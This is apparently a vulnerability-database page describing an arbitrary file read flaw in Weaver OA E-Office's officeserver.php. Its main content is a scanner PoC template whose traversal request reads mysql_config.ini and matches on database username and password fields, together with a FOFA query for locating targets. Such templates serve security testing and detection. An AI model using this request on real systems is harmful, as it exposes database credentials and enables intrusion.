weaver-officeserver-lfi: OA E-Office officeserver.php Arbitrary File Read

2025-08-01 weaver-officeserver PoC Public

Description

There is an arbitrary file reading vulnerability in the OA E-Office officeserver.php file. An attacker can download any file on the server through the vulnerability.

PoC

id: weaver-officeserver-lfi

info:
  name: OA E-Office officeserver.php Arbitrary File Read
  author: SleepingBag945
  severity: high
  description: |
    There is an arbitrary file reading vulnerability in the OA E-Office officeserver.php file. An attacker can download any file on the server through the vulnerability.
  reference:
    - https://github.com/PeiQi0/PeiQi-WIKI-Book/blob/main/docs/wiki/oa/%E6%B3%9B%E5%BE%AEOA/%E6%B3%9B%E5%BE%AEOA%20E-Office%20officeserver.php%20%E4%BB%BB%E6%84%8F%E6%96%87%E4%BB%B6%E8%AF%BB%E5%8F%96%E6%BC%8F%E6%B4%9E.md
  classification:
    cpe: cpe:2.3:a:weaver:e-office:*:*:*:*:*:*:*:*
    cwe-id: CWE-23,CWE-73
  metadata:
    verified: true
    max-request: 1
    vendor: weaver
    product: e-office
    fofa-query: app="泛微-EOffice"
  tags: weaver,e-cology,oa,lfi,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/iweboffice/officeserver.php?OPTION=LOADFILE&FILENAME=../mysql_config.ini"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "datapassword ="
          - "datauser ="
        condition: and

      - type: status
        status:
          - 200
# digest: 490a004630440220233dac2c5301fcd96fc115c6862cdcf4928772113e836bb0714b6ca9a3b27467022024252017c267c054a266900b484ca4c8cb9683639026f44d791f22531265069a:922c64590222798bb761d5b6d8e72950

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.

References

Related Vulnerabilities